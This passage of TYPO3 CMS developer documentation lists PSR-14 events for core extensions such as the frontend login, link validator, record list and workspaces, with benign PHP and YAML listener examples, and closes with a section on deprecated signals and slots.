use TYPO3\CMS\Filelist\Event\ProcessFileListActionsEvent;

final class ProcessFileListActionsEventListener
{
    public function __invoke(ProcessFileListActionsEvent $event): void
    {
        // do your magic
    }
}
Copied!

API

class ProcessFileListActionsEvent
Fully qualified name
\TYPO3\CMS\Filelist\Event\ProcessFileListActionsEvent

Event fired to modify icons rendered for the file listings

getResource ( )
returntype

TYPO3\CMS\Core\Resource\ResourceInterface

isFile ( )
returntype

bool

getActionItems ( )
returntype

array

setActionItems ( array $actionItems)
param array $actionItems

the actionItems

Frontend

The following list contains PSR-14 events in the TYPO3 Core .

Contents:

ModifyHrefLangTagsEvent

New in version 10.3

Event to alter the hreflang tags just before they get rendered.

The class \TYPO3\CMS\Seo\HrefLang\HrefLangGenerator has been refactored to be a listener (identifier 'typo3-seo/hreflangGenerator') to the newly introduced event. This way the system extension seo still provides hreflang tags but it is now possible to register after or instead of the implementation.

Example

An example implementation could look like this:

EXT:my_extension/Configuration/Services.yaml

services:
  Vendor\MyExtension\HrefLang\EventListener\OwnHrefLang:
    tags:
      - name: event.listener
        identifier: 'my-ext/ownHrefLang'
        after: 'typo3-seo/hreflangGenerator'
        event: TYPO3\CMS\Frontend\Event\ModifyHrefLangTagsEvent
Copied!

With after and before, you can make sure your own listener is executed after or before the given identifiers.

EXT:my_extension/Classes/HrefLang/EventListener/OwnHrefLang.php

namespace Vendor\MyExtension\HrefLang\EventListener;

use TYPO3\CMS\Frontend\Event\ModifyHrefLangTagsEvent;

final class OwnHrefLang
{
   public function __invoke(ModifyHrefLangTagsEvent $event): void
   {
      $hrefLangs = $event->getHrefLangs();
      $request = $event->getRequest();

      // Do anything you want with $hrefLangs
      $hrefLangs = [
         'en-US' => 'https://example.org',
         'nl-NL' => 'https://example.org/nl'
      ];

      // Override all hrefLang tags
      $event->setHrefLangs($hrefLangs);

      // Or add a single hrefLang tag
      $event->addHrefLang('de-DE', 'https://example.org/de');
    }
}
Copied!

API

class ModifyHrefLangTagsEvent
Fully qualified name
\TYPO3\CMS\Frontend\Event\ModifyHrefLangTagsEvent

Listeners to this Event will be able to modify the hreflang tags that will be generated. You can use this when you have an edge case language scenario and need to alter the default hreflang tags.

getHrefLangs ( )
returntype

array

getRequest ( )
returntype

Psr\Http\Message\ServerRequestInterface

setHrefLangs ( array $hrefLangs)

Set the hreflangs. This should be an array in format:

[
'en-US' => 'https://example.com', 'nl-NL' => 'https://example.com/nl'

]

param array $hrefLangs

the hrefLangs

addHrefLang ( string $languageCode, string $url)

Add a hreflang tag to the current list of hreflang tags

param string $languageCode

The language of the hreflang tag you would like to add. For example: nl-NL

param string $url

The URL of the translation. For example: https://example.com/nl

ModifyResolvedFrontendGroupsEvent

New in version 11.5

Event:
\TYPO3\CMS\Frontend\Authentication\ModifyResolvedFrontendGroupsEvent
Description:

This event allows Frontend Groups to be added to a (frontend) request regardless of whether a user is logged in or not.

This event is intended to restore the functionality found in the getGroupsFE authentication service that was removed in TYPO3 v11.

API

class ModifyResolvedFrontendGroupsEvent
Fully qualified name
\TYPO3\CMS\Frontend\Authentication\ModifyResolvedFrontendGroupsEvent

Event listener to allow to add custom Frontend Groups to a (frontend) request regardless if a user is logged in or not.

getRequest ( )
returntype

Psr\Http\Message\ServerRequestInterface

getUser ( )
returntype

TYPO3\CMS\Frontend\Authentication\FrontendUserAuthentication

getGroups ( )
returntype

array

setGroups ( array $groups)
param array $groups

the groups

FrontendLogin

The following list contains PSR-14 events in EXT:frontend, the frontend login .

Contents:

BeforeRedirectEvent

New in version 10.4

This event replaces the $GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['felogin']['beforeRedirect'] hook from the pibase plugin.

The notification event is triggered before a redirect is made.

New in version 11.5.26

The methods setRedirectUrl() and getRequest() are available.

API

class BeforeRedirectEvent
Fully qualified name
\TYPO3\CMS\FrontendLogin\Event\BeforeRedirectEvent

Notification before a redirect is made, which also allows to modify the actual redirect URL. Setting the redirect to an empty string will avoid triggering a redirect.

getLoginType ( )
returntype

string

getRedirectUrl ( )
returntype

string

setRedirectUrl ( string $redirectUrl)
param string $redirectUrl

the redirectUrl

getRequest ( )
returntype

Psr\Http\Message\ServerRequestInterface

LoginConfirmedEvent

New in version 10.4

This event replaces the $GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['felogin']['login_confirmed'] hook from the pibase plugin.

The notification event is triggered when a login was successful.

API

class LoginConfirmedEvent
Fully qualified name
\TYPO3\CMS\FrontendLogin\Event\LoginConfirmedEvent

A notification when a log in has successfully arrived at the plugin, via the view and the controller, multiple information can be overridden in Event Listeners.

getController ( )
returntype

TYPO3\CMS\FrontendLogin\Controller\LoginController

getView ( )
returntype

TYPO3\CMS\Extbase\Mvc\View\ViewInterface

LoginErrorOccurredEvent

New in version 10.4

This event replaces the $GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['felogin']['login_error'] hook from the pibase plugin.

The notification event is triggered when an error occurs while trying to log in a user.

API

class LoginErrorOccurredEvent
Fully qualified name
\TYPO3\CMS\FrontendLogin\Event\LoginErrorOccurredEvent

A notification if something went wrong while trying to log in a user.

LogoutConfirmedEvent

New in version 10.4

This event replaces the $GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['felogin']['logout_confirmed'] hook from the pibase plugin.

The event is triggered when a logout was successful.

API

class LogoutConfirmedEvent
Fully qualified name
\TYPO3\CMS\FrontendLogin\Event\LogoutConfirmedEvent

A notification when a log out has successfully arrived at the plugin, via the view and the controller, multiple information can be overridden in Event Listeners.

getController ( )
returntype

TYPO3\CMS\FrontendLogin\Controller\LoginController

getView ( )
returntype

TYPO3\CMS\Extbase\Mvc\View\ViewInterface

ModifyLoginFormViewEvent

New in version 10.4

This event replaces the $GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['felogin']['loginFormOnSubmitFuncs'] hook from the pibase plugin.

Allows to inject custom variables into the login form.

Deprecated since version 11.5

The interface \TYPO3\CMS\Extbase\Mvc\View\ViewInterface has been deprecated with v11.5 and will be removed with v12. This class's signature is set to change to \TYPO3Fluid\Fluid\View\ViewInterface with the release v12.

API

class ModifyLoginFormViewEvent
Fully qualified name
\TYPO3\CMS\FrontendLogin\Event\ModifyLoginFormViewEvent

Allows to inject custom variables into the login form.

getView ( )
returntype

TYPO3\CMS\Extbase\Mvc\View\ViewInterface

PasswordChangeEvent

New in version 10.4

This event replaces the $GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['felogin']['password_changed'] hook from the pibase plugin.

The event contains information about the password that has been set and will be stored in the database shortly. It allows to mark the password as invalid.

API

class PasswordChangeEvent
Fully qualified name
\TYPO3\CMS\FrontendLogin\Event\PasswordChangeEvent

Event that contains information about the password which was set, and is about to be stored in the database.

Additional validation can happen here.

getUser ( )
returntype

array

getHashedPassword ( )
returntype

string

setHashedPassword ( string $passwordHash)
param string $passwordHash

the passwordHash

getRawPassword ( )
returntype

string

setAsInvalid ( string $message)
param string $message

the message

getErrorMessage ( )
returntype

string

isPropagationStopped ( )
returntype

bool

SendRecoveryEmailEvent

New in version 10.4

This event replaces the $GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['felogin']['forgotPasswordMail'] hook from the pibase plugin.

The event contains the email to be sent and additional information about the user who requested a new password.

API

class SendRecoveryEmailEvent
Fully qualified name
\TYPO3\CMS\FrontendLogin\Event\SendRecoveryEmailEvent

Event that contains the email to be sent to the user when they request a new password.

More

Additional validation can happen here.

getUserInformation ( )
returntype

array

getEmail ( )
returntype

Symfony\Component\Mime\Email

Impexp

The following list contains PSR-14 events in the TYPO3 Core .

Contents:

BeforeImportEvent

The PSR-14 event \TYPO3\CMS\Impexp\Event\BeforeImportEvent is triggered when an import file is about to be imported.

API

class BeforeImportEvent
Fully qualified name
\TYPO3\CMS\Impexp\Event\BeforeImportEvent

This event is triggered when an import file is about to be imported

getImport ( )
returntype

TYPO3\CMS\Impexp\Import

Install

The following list contains PSR-14 events in the TYPO3 Core .

Contents:

ModifyLanguagePackRemoteBaseUrlEvent

The PSR-14 event \TYPO3\CMS\Install\Service\Event\ModifyLanguagePackRemoteBaseUrlEvent allows to modify the main URL of a language pack.

Example

Registration of the event listener in the extension's Services.yaml:

EXT:my_extension/Configuration/Services.yaml
services:
  # Place here the default dependency injection configuration

  MyVendor\MyExtension\EventListener\CustomMirror:
    tags:
      - name: event.listener
        identifier: 'my-extension/custom-mirror'
Copied!

Read how to configure dependency injection in extensions.

The corresponding event listener class:

EXT:my_extension/Classes/EventListener/CustomMirror.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\EventListener;

use TYPO3\CMS\Core\Http\Uri;
use TYPO3\CMS\Install\Service\Event\ModifyLanguagePackRemoteBaseUrlEvent;

final class CustomMirror
{
    private const EXTENSION_KEY = 'my_extension';
    private const MIRROR_URL = 'https://example.org/typo3-packages/';

    public function __invoke(ModifyLanguagePackRemoteBaseUrlEvent $event): void
    {
        if ($event->getPackageKey() === self::EXTENSION_KEY) {
            $event->setBaseUrl(new Uri(self::MIRROR_URL));
        }
    }
}
Copied!

API

class ModifyLanguagePackRemoteBaseUrlEvent
Fully qualified name
\TYPO3\CMS\Install\Service\Event\ModifyLanguagePackRemoteBaseUrlEvent

Event to modify the main URL of a language

getBaseUrl ( )
returntype

Psr\Http\Message\UriInterface

setBaseUrl ( Psr\\Http\\Message\\UriInterface $baseUrl)
param Psr\\Http\\Message\\UriInterface $baseUrl

the baseUrl

getPackageKey ( )
returntype

string

Linkvalidator

The following list contains PSR-14 events in EXT:linkvalidator .

Contents:

BeforeRecordIsAnalyzedEvent

Event that is fired to modify results (= add results) or modify the record before the linkanalyzer analyzes the record.

Example

In this example we are checking if there are external links containing the URL of the project itself as editors tend to set external links on internal pages at times.

The following code can be put in a custom minimal extension. You find a live example in our example extension EXT:examples.

Create a class that works as event listener. This class does not implement or extend any class. It has to provide a method that accepts an event of type \TYPO3\CMS\Linkvalidator\Event\BeforeRecordIsAnalyzedEvent . By default the method is called __invoke:

Class T3docs\Examples\EventListener\LinkValidator\CheckExternalLinksToLocalPagesEventListener
use TYPO3\CMS\Linkvalidator\Event\BeforeRecordIsAnalyzedEvent;

final class CheckExternalLinksToLocalPagesEventListener
{
    private const LOCAL_DOMAIN = 'example.org';
    private const TABLE_NAME = 'tt_content';
    private const FIELD_NAME = 'bodytext';

    public function __invoke(BeforeRecordIsAnalyzedEvent $event): void
    {
        $table = $event->getTableName();
        if ($table !== self::TABLE_NAME) {
            return;
        }
        $results = $event->getResults();
        $record = $event->getRecord();
        $field = (string)$record[self::FIELD_NAME];
        if (!str_contains($field, self::LOCAL_DOMAIN)) {
            return;
        }
        $results = $this->parseField($record, $results);
        $event->setResults($results);
    }
}
Copied!

The listener must then be registered in the extensions Services.yaml:

EXT:examples/Configuration/Services.yaml
services:
   _defaults:
      autowire: true
      autoconfigure: true
      public: false

   T3docs\Examples\:
      resource: '../Classes/*'
      exclude: '../Classes/Domain/Model/*'

   T3docs\Examples\EventListener\LinkValidator\CheckExternalLinksToLocalPagesEventListener:
      tags:
         - name: event.listener
           identifier: 'txExampleCheckExternalLinksToLocalPages'
Copied!

For the implementation we need the BrokenLinkRepository to register additional link errors and the SoftReferenceParserFactory so we can automatically parse for links. These two classes have to be injected via dependency injection:

Class T3docs\Examples\EventListener\LinkValidator\CheckExternalLinksToLocalPagesEventListener
use TYPO3\CMS\Core\DataHandling\SoftReference\SoftReferenceParserFactory;
use TYPO3\CMS\Linkvalidator\Repository\BrokenLinkRepository;

final class CheckExternalLinksToLocalPagesEventListener
{
    private BrokenLinkRepository $brokenLinkRepository;

    private SoftReferenceParserFactory $softReferenceParserFactory;

    public function __construct(
        BrokenLinkRepository $brokenLinkRepository,
        SoftReferenceParserFactory $softReferenceParserFactory
    ) {
        $this->brokenLinkRepository = $brokenLinkRepository;
        $this->softReferenceParserFactory = $softReferenceParserFactory;
    }
}
Copied!

Now we use the SoftReferenceParserFactory to find all registered link parsers for soft reference. Then we apply each of these parsers in turn to the configured field in the current record. For each link found we can now match if it is an external link to an internal page.

Class T3docs\Examples\EventListener\LinkValidator\CheckExternalLinksToLocalPagesEventListener
use TYPO3\CMS\Core\DataHandling\SoftReference\SoftReferenceParserFactory;

final class CheckExternalLinksToLocalPagesEventListener
{
    private const LOCAL_DOMAIN = 'example.org';
    private const TABLE_NAME = 'tt_content';
    private const FIELD_NAME = 'bodytext';

    private SoftReferenceParserFactory $softReferenceParserFactory;

    private function parseField(array $record, array $results): array
    {
        $conf = $GLOBALS['TCA'][self::TABLE_NAME]['columns'][self::FIELD_NAME]['config'];
        foreach ($this->findAllParsers($conf) as $softReferenceParser) {
            $parserResult = $softReferenceParser->parse(
                self::TABLE_NAME,
                self::FIELD_NAME,
                $record['uid'],
                (string)$record[self::FIELD_NAME]
            );
            if (!$parserResult->hasMatched()) {
                continue;
            }
            foreach ($parserResult->getMatchedElements() as $matchedElement) {
                if (!isset($matchedElement['subst'])) {
                    continue;
                }
                $this->matchUrl(
                    (string)$matchedElement['subst']['tokenValue'],
                    $record,
                    $results
                );
            }
        }
        return $results;
    }

    private function findAllParsers(array $conf): iterable
    {
        return $this->softReferenceParserFactory->getParsersBySoftRefParserList(
            $conf['softref'],
            ['subst']
        );
    }
}
Copied!

If the URL found in the matching is external and contains the local domain name we add the an entry to the BrokenLinkRepository and to the result set of BeforeRecordIsAnalyzedEvent.

Class T3docs\Examples\EventListener\LinkValidator\CheckExternalLinksToLocalPagesEventListener
use TYPO3\CMS\Linkvalidator\Repository\BrokenLinkRepository;

final class CheckExternalLinksToLocalPagesEventListener
{
    private const LOCAL_DOMAIN = 'example.org';
    private const TABLE_NAME = 'tt_content';
    private const FIELD_NAME = 'bodytext';

    private BrokenLinkRepository $brokenLinkRepository;

    private function matchUrl(string $foundUrl, array $record, array &$results): void
    {
        if (str_contains($foundUrl, self::LOCAL_DOMAIN)) {
            $this->addItemToBrokenLinkRepository($record, $foundUrl);
            $results[] = $record;
        }
    }

    private function addItemToBrokenLinkRepository(array $record, string $foundUrl): void
    {
        $link = [
            'record_uid' => $record['uid'],
            'record_pid' => $record['pid'],
            'language' => $record['sys_language_uid'],
            'field' => self::FIELD_NAME,
            'table_name' => self::TABLE_NAME,
            'url' => $foundUrl,
            'last_check' => time(),
            'link_type' => 'external',
        ];
        $this->brokenLinkRepository->addBrokenLink($link, false, [
            'errorType' => 'exception',
            'exception' => 'Do not link externally to ' . self::LOCAL_DOMAIN,
            'errno' => 1661517573,
        ]);
    }
}
Copied!

The BrokenLinkRepository is not an Extbase repository but a repository based on the Doctrine database abstraction (DBAL). It therefore expects an array with the names of the table fields as argument and not an Extbase model. The method internally uses TYPO3\CMS\Core\Database\Connection::insert. This method automatically quotes all identifiers and values, we therefore do not worry about escaping here.

See the complete class here: CheckExternalLinksToLocalPagesEventListener.

API

class BeforeRecordIsAnalyzedEvent
Fully qualified name
\TYPO3\CMS\Linkvalidator\Event\BeforeRecordIsAnalyzedEvent

Event that is fired to modify results (= add results) or modify the record before the linkanalyzer analyzes the record.

getTableName ( )
returntype

string

getRecord ( )
returntype

array

setRecord ( array $record)
param array $record

the record

getFields ( )
returntype

array

getResults ( )
returntype

array

setResults ( array $results)
param array $results

the results

getLinkAnalyzer ( )
returntype

TYPO3\CMS\Linkvalidator\LinkAnalyzer

Recordlist

The following list contains PSR-14 events in EXT:recordlist.

Contents:

ModifyRecordListHeaderColumnsEvent

New in version 11.4

An event to modify the header columns for a table in the record list.

API

class ModifyRecordListHeaderColumnsEvent
Fully qualified name
\TYPO3\CMS\Recordlist\Event\ModifyRecordListHeaderColumnsEvent

An event to modify the header columns for a table in the RecordList

setColumn ( string $column, string $columnName = '')

Add a new column or override an existing one. Latter is only possible, in case $columnName is given. Otherwise, the column will be added with a numeric index, which is generally not recommended.

Note: Due to the behaviour of DatabaseRecordList, just adding a column does not mean that it is also displayed. The internal $fieldArray needs to be adjusted as well. This method only adds the column to the data array. Therefore, this method should mainly be used to edit existing columns, e.g. change their label.

param string $column

the column

param string $columnName

the columnName, default: ''

hasColumn ( string $columnName)

Whether the column exists

param string $columnName

the columnName

returntype

bool

getColumn ( string $columnName)

Get column by its name

param string $columnName

the columnName

returntype

string

Returns

The column or NULL if the column does not exist

removeColumn ( string $columnName)

Remove column by its name

param string $columnName

the columnName

returntype

bool

Returns

Whether the column could be removed - Will therefore return FALSE if the column to remove does not exist.

setColumns ( array $columns)
param array $columns

the columns

getColumns ( )
returntype

array

setHeaderAttributes ( array $headerAttributes)
param array $headerAttributes

the headerAttributes

getHeaderAttributes ( )
returntype

array

getTable ( )
returntype

string

getRecordIds ( )
returntype

array

getRecordList ( )

Returns the current DatabaseRecordList instance.

returntype

TYPO3\CMS\Recordlist\RecordList\DatabaseRecordList

Usage

See combined usage example.

ModifyRecordListRecordActionsEvent

New in version 11.4

An event to modify the displayed record actions (for example edit, copy, delete) for a table in the record list.

API

class ModifyRecordListRecordActionsEvent
Fully qualified name
\TYPO3\CMS\Recordlist\Event\ModifyRecordListRecordActionsEvent

An event to modify the displayed record actions (e.g.

"edit", "copy", "delete") for a table in the RecordList.

setAction ( string $action, string $actionName = '', string $group = '', string $before = '', string $after = '')

Add a new action or override an existing one. Latter is only possible, in case $columnName is given. Otherwise, the column will be added with a numeric index, which is generally not recommended. It's also possible to define the position of an action with either the "before" or "after" argument, while their value must be an existing action.

Note: In case non or an invalid $group is provided, the new action will be added to the secondary group.

param string $action

the action

param string $actionName

the actionName, default: ''

param string $group

the group, default: ''

param string $before

the before, default: ''

param string $after

the after, default: ''

hasAction ( string $actionName, string $group = '')

Whether the action exists in the given group. In case non or an invalid $group is provided, both groups will be checked.

param string $actionName

the actionName

param string $group

the group, default: ''

returntype

bool

getAction ( string $actionName, string $group = '')

Get action by its name. In case the action exists in both groups and non or an invalid $group is provided, the action from the "primary" group will be returned.

param string $actionName

the actionName

param string $group

the group, default: ''

returntype

string

removeAction ( string $actionName, string $group = '')

Remove action by its name. In case the action exists in both groups and non or an invalid $group is provided, the action will be removed from both groups.

param string $actionName

the actionName

param string $group

the group, default: ''

returntype

bool

Returns

Whether the action could be removed - Will therefore return FALSE if the action to remove does not exist.

getActionGroup ( string $group)

Get the actions of a specific group

param string $group

the group

returntype

array

setActions ( array $actions)
param array $actions

the actions

getActions ( )
returntype

array

getTable ( )
returntype

string

getRecord ( )
returntype

array

getRecordList ( )

Returns the current DatabaseRecordList instance.

returntype

TYPO3\CMS\Recordlist\RecordList\DatabaseRecordList

Usage

See combined usage example.

ModifyRecordListTableActionsEvent

New in version 11.4

An event to modify the multi record selection actions (for example edit, copy to clipboard) for a table in the record list.

API

class ModifyRecordListTableActionsEvent
Fully qualified name
\TYPO3\CMS\Recordlist\Event\ModifyRecordListTableActionsEvent

An event to modify the multi record selection actions (e.g.

"edit", "copy to clipboard") for a table in the RecordList.

setAction ( string $action, string $actionName = '', string $before = '', string $after = '')

Add a new action or override an existing one. Latter is only possible, in case $actionName is given. Otherwise, the action will be added with a numeric index, which is generally not recommended. It's also possible to define the position of an action with either the "before" or "after" argument, while their value must be an existing action.

param string $action

the action

param string $actionName

the actionName, default: ''

param string $before

the before, default: ''

param string $after

the after, default: ''

hasAction ( string $actionName)

Whether the action exists

param string $actionName

the actionName

returntype

bool

getAction ( string $actionName)

Get action by its name

param string $actionName

the actionName

returntype

string

Returns

The action or NULL if the action does not exist

removeAction ( string $actionName)

Remove action by its name

param string $actionName

the actionName

returntype

bool

Returns

Whether the action could be removed - Will therefore return FALSE if the action to remove does not exist.

setActions ( array $actions)
param array $actions

the actions

getActions ( )
returntype

array

setNoActionLabel ( string $noActionLabel)
param string $noActionLabel

the noActionLabel

getNoActionLabel ( )

Get the label, which will be displayed, in case no action is available for the current user. Note: If this returns an empty string, this only means that no other listener set a label before. TYPO3 will always fall back to a default if this remains empty.

returntype

string

getTable ( )
returntype

string

getRecordIds ( )
returntype

array

getRecordList ( )

Returns the current DatabaseRecordList instance.

returntype

TYPO3\CMS\Recordlist\RecordList\DatabaseRecordList

Usage

An example registration of the events in your extensions' Services.yaml:

MyVendor\MyPackage\RecordList\MyEventListener:
  tags:
    - name: event.listener
      identifier: 'my-package/recordlist/my-event-listener'
      method: 'modifyRecordActions'
    - name: event.listener
      identifier: 'my-package/recordlist/my-event-listener'
      method: 'modifyHeaderColumns'
    - name: event.listener
      identifier: 'my-package/recordlist/my-event-listener'
      method: 'modifyTableActions'
Copied!

The corresponding event listener class:

use Psr\Log\LoggerInterface;
use TYPO3\CMS\Recordlist\Event\ModifyRecordListHeaderColumnsEvent;
use TYPO3\CMS\Recordlist\Event\ModifyRecordListRecordActionsEvent;
use TYPO3\CMS\Recordlist\Event\ModifyRecordListTableActionsEvent;

final class MyEventListener {

    protected LoggerInterface $logger;

    public function __construct(LoggerInterface $logger)
    {
        $this->logger = $logger;
    }

    public function modifyRecordActions(ModifyRecordListRecordActionsEvent $event): void
    {
        $currentTable = $event->getTable();

        // Add a custom action for a custom table in the secondary action bar, before the "move" action
        if ($currentTable === 'my_custom_table' && !$event->hasAction('myAction')) {
            $event->setAction(
                '<button>My Action</button>',
                'myAction',
                'secondary',
                'move'
            );
        }

        // Remove the "viewBig" action in case more than 4 actions exist in the group
        if (count($event->getActionGroup('secondary')) > 4 && $event->hasAction('viewBig')) {
            $event->removeAction('viewBig');
        }

        // Move the "delete" action after the "edit" action
        $event->setAction('', 'delete', 'primary', '', 'edit');
    }

    public function modifyHeaderColumns(ModifyRecordListHeaderColumnsEvent $event): void
    {
        // Change label of "control" column
        $event->setColumn('Custom Controls', '_CONTROL_');

        // Add a custom class for the table header row
        $event->setHeaderAttributes(['class' => 'my-custom-class']);
    }

    public function modifyTableActions(ModifyRecordListTableActionsEvent $event): void
    {
        // Remove "edit" action and log, if this failed
        $actionRemoved = $event->removeAction('unknown');
        if (!$actionRemoved) {
            $this->logger->warning('Action "unknown" could not be removed');
        }

        // Add a custom clipboard action after "copyMarked"
        $event->setAction('<button>My action</button>', 'myAction', '', 'copyMarked');

        // Set a custom label for the case, no actions are available for the user
        $event->setNoActionLabel('No actions available due to missing permissions.');
    }

}
Copied!

RenderAdditionalContentToRecordListEvent

New in version 11.0

This event supersedes the hooks

  • $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['recordlist/Modules/Recordlist/index.php']['drawHeaderHook']
  • $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['recordlist/Modules/Recordlist/index.php']['drawFooterHook']

The hooks are removed in TYPO3 v12.

Event to add content before or after the main content of the list module.

API

class RenderAdditionalContentToRecordListEvent
Fully qualified name
\TYPO3\CMS\Recordlist\Event\RenderAdditionalContentToRecordListEvent

Class AddToRecordListEvent

Add content above or below the main content of the record list

getRequest ( )
returntype

Psr\Http\Message\ServerRequestInterface

addContentAbove ( string $contentAbove)
param string $contentAbove

the contentAbove

addContentBelow ( string $contentBelow)
param string $contentBelow

the contentBelow

getAdditionalContentAbove ( )
returntype

string

getAdditionalContentBelow ( )
returntype

string

Seo

The following list contains PSR-14 events in EXT:seo.

Contents:

ModifyUrlForCanonicalTagEvent

With the PSR-14 event \TYPO3\CMS\Seo\Event\ModifyUrlForCanonicalTagEvent the URL for the href attribute of the canonical tag can be altered or emptied.

API

class ModifyUrlForCanonicalTagEvent
Fully qualified name
\TYPO3\CMS\Seo\Event\ModifyUrlForCanonicalTagEvent

PSR-14 to alter (or empty) a canonical URL for the href="" attribute of a canonical URL.

getUrl ( )
returntype

string

setUrl ( string $url)
param string $url

the url

Setup

The following list contains PSR-14 events in EXT:setup.

Contents:

AddJavaScriptModulesEvent

JavaScript events in custom User Settings Configuration options should no longer be placed as inline JavaScript. Instead, use a dedicated JavaScript module to handle custom events.

Example

A listener using mentioned PSR-14 event could look like the following.

  1. Register listener

    typo3conf/my-extension/Configuration/Services.yaml

    services:
       MyVendor\MyExtension\EventListener\CustomUserSettingsListener:
        tags:
          - name: event.listener
            identifier: 'myExtension/CustomUserSettingsListener'
            event: TYPO3\CMS\SetupEvent\AddJavaScriptModulesEvent
    Copied!
  2. Implement Listener to load JavaScript module TYPO3/CMS/MyExtension/CustomUserSettingsModule

    namespace MyVendor\MyExtension\EventListener;
    
    use TYPO3\CMS\Setup\Event\AddJavaScriptModulesEvent;
    
    final class CustomUserSettingsListener
    {
        // name of JavaScript module to be loaded
        private const MODULE_NAME = 'TYPO3/CMS/MyExtension/CustomUserSettingsModule';
    
        public function __invoke(AddJavaScriptModulesEvent $event): void
        {
            $javaScriptModuleName = 'TYPO3/CMS/MyExtension/CustomUserSettings';
            if (in_array(self::MODULE_NAME, $event->getModules(), true)) {
                return;
            }
            $event->addModule(self::MODULE_NAME);
        }
    }
    Copied!

API

class AddJavaScriptModulesEvent
Fully qualified name
\TYPO3\CMS\Setup\Event\AddJavaScriptModulesEvent

Collects additional JavaScript modules to be loaded in SetupModuleController.

addModule ( string $moduleName)
param string $moduleName

the moduleName

getModules ( )
returntype

array

Workspaces

The following list contains PSR-14 events in EXT:workspaces.

Contents:

AfterCompiledCacheableDataForWorkspaceEvent

Used in the workspaces module to find all chacheable data of versions of a workspace.

API

class AfterCompiledCacheableDataForWorkspaceEvent
Fully qualified name
\TYPO3\CMS\Workspaces\Event\AfterCompiledCacheableDataForWorkspaceEvent

Used in the workspaces module to find all chacheable data of versions of a workspace.

getGridService ( )
returntype

TYPO3\CMS\Workspaces\Service\GridDataService

getData ( )
returntype

array

setData ( array $data)
param array $data

the data

getVersions ( )
returntype

array

setVersions ( array $versions)
param array $versions

the versions

AfterDataGeneratedForWorkspaceEvent

Used in the workspaces module to find all data of versions of a workspace.

API

class AfterDataGeneratedForWorkspaceEvent
Fully qualified name
\TYPO3\CMS\Workspaces\Event\AfterDataGeneratedForWorkspaceEvent

Used in the workspaces module to find all data of versions of a workspace.

getGridService ( )
returntype

TYPO3\CMS\Workspaces\Service\GridDataService

getData ( )
returntype

array

setData ( array $data)
param array $data

the data

getVersions ( )
returntype

array

setVersions ( array $versions)
param array $versions

the versions

GetVersionedDataEvent

Used in the workspaces module to find all data of versions of a workspace. In comparison to AfterDataGeneratedForWorkspaceEvent, this one contains the cleaned / prepared data with an optional limit applied depending on the view.

API

class GetVersionedDataEvent
Fully qualified name
\TYPO3\CMS\Workspaces\Event\GetVersionedDataEvent

Used in the workspaces module to find all data of versions of a workspace.

In comparison to AfterDataGeneratedForWorkspaceEvent, this one contains the cleaned / prepared data with an optional limit applied depending on the view.

getGridService ( )
returntype

TYPO3\CMS\Workspaces\Service\GridDataService

getData ( )
returntype

array

setData ( array $data)
param array $data

the data

getDataArrayPart ( )
returntype

array

setDataArrayPart ( array $dataArrayPart)
param array $dataArrayPart

the dataArrayPart

getStart ( )
returntype

int

getLimit ( )
returntype

int

SortVersionedDataEvent

Used in the workspaces module after sorting all data for versions of a workspace.

API

class SortVersionedDataEvent
Fully qualified name
\TYPO3\CMS\Workspaces\Event\SortVersionedDataEvent

Used in the workspaces module after sorting all data for versions of a workspace.

getGridService ( )
returntype

TYPO3\CMS\Workspaces\Service\GridDataService

getData ( )
returntype

array

setData ( array $data)
param array $data

the data

getSortColumn ( )
returntype

string

setSortColumn ( string $sortColumn)
param string $sortColumn

the sortColumn

getSortDirection ( )
returntype

string

setSortDirection ( string $sortDirection)
param string $sortDirection

the sortDirection

Signals and slots (deprecated)

Signals and slots provide a way to extend TYPO3s Core functionality or the functionality of Extensions. Signals roughly follow the observer pattern.

Signals and slots decouple the sender (sending a signal) and the receiver(s) (called slots). Hooks depend on directly calling functions in the implementing class.

Concept of signals and slots

Whenever the sender (i.e. a Core class or the class of an extension) wants to send a signal it calls dispatch on the SignalSlot Dispatcher. The sender does not have or need any information about the receivers (slots). (See Dispatching Signals)

The receiver generates a slot by calling connect on the SignalSlot Dispatcher on startup. A slot always listens for signals with name i.e. "afterExtensionUninstall" on a certain class, i.e. "InstallUtility::class". (See Using Signals <signals-basics>)

The function representing the slot will be called automatically by the SignalSlot Dispatcher whenever a signal gets dispatched. The slot will be called with one array parameter. If several slots registered for a signal all of them will be called. However the order in which they are being called cannot be defined or depended upon.

The slot may provide an array as return value that may or may not be used be the dispatching class depending on its implementation. In the case of several slots being connected to the signal and one or all of them have return values the return value of the previous slot will be fed into the next slot as input data. As there is no way of knowing in which order the slots will be called, several slots manipulations of the same part of the array might override each other.

As the data returned by a slot will be used as input for the next slot it must forward the entire information from the input data plus the changes being made by this slot.

Slots should never take the content of the input data array for granted, because there is no programmatic way of ensuring the returned array contains all expected data, .

Dispatching signals

Emitting a signal is a mere call of the function dispatch on the SignalSlot Dispatcher:

# use TYPO3\CMS\Core\Utility\GeneralUtility;
# use TYPO3\CMS\Extbase\Object\ObjectManager;
# use TYPO3\CMS\Extbase\SignalSlot\Dispatcher;

$signalSlotDispatcher = GeneralUtility::makeInstance(ObjectManager::class)->get(Dispatcher::class);
$signalArguments = [
   'someData' => $someData,
   'otherData' => $otherData,
   'caller' => $this
];
$signalArguments = $signalSlotDispatcher->dispatch(__CLASS__, 'signalName', $signalArguments);
Copied!

The data returned by the dispatch should not be taken for granted. Always perform sanity checks before using it.

Using signals

To connect a slot to a signal, use the \TYPO3\CMS\Extbase\SignalSlot\Dispatcher::connect() method. This method accepts the following arguments:

  1. $signalClassName: Name of the class containing the signal
  2. $signalName: Name of the class containing the signal
  3. $slotClassNameOrObject: Name of the class containing the slot or the instantiated class or a \Closure object
  4. $slotMethodName: Name of the method to be used as a slot. If $slotClassNameOrObject is a \Closure object, this parameter is ignored and can be skipped
  5. $passSignalInformation: If set to true, the last argument passed to the slot will be information about the signal ( EmitterClassName::signalName)

Usage example:

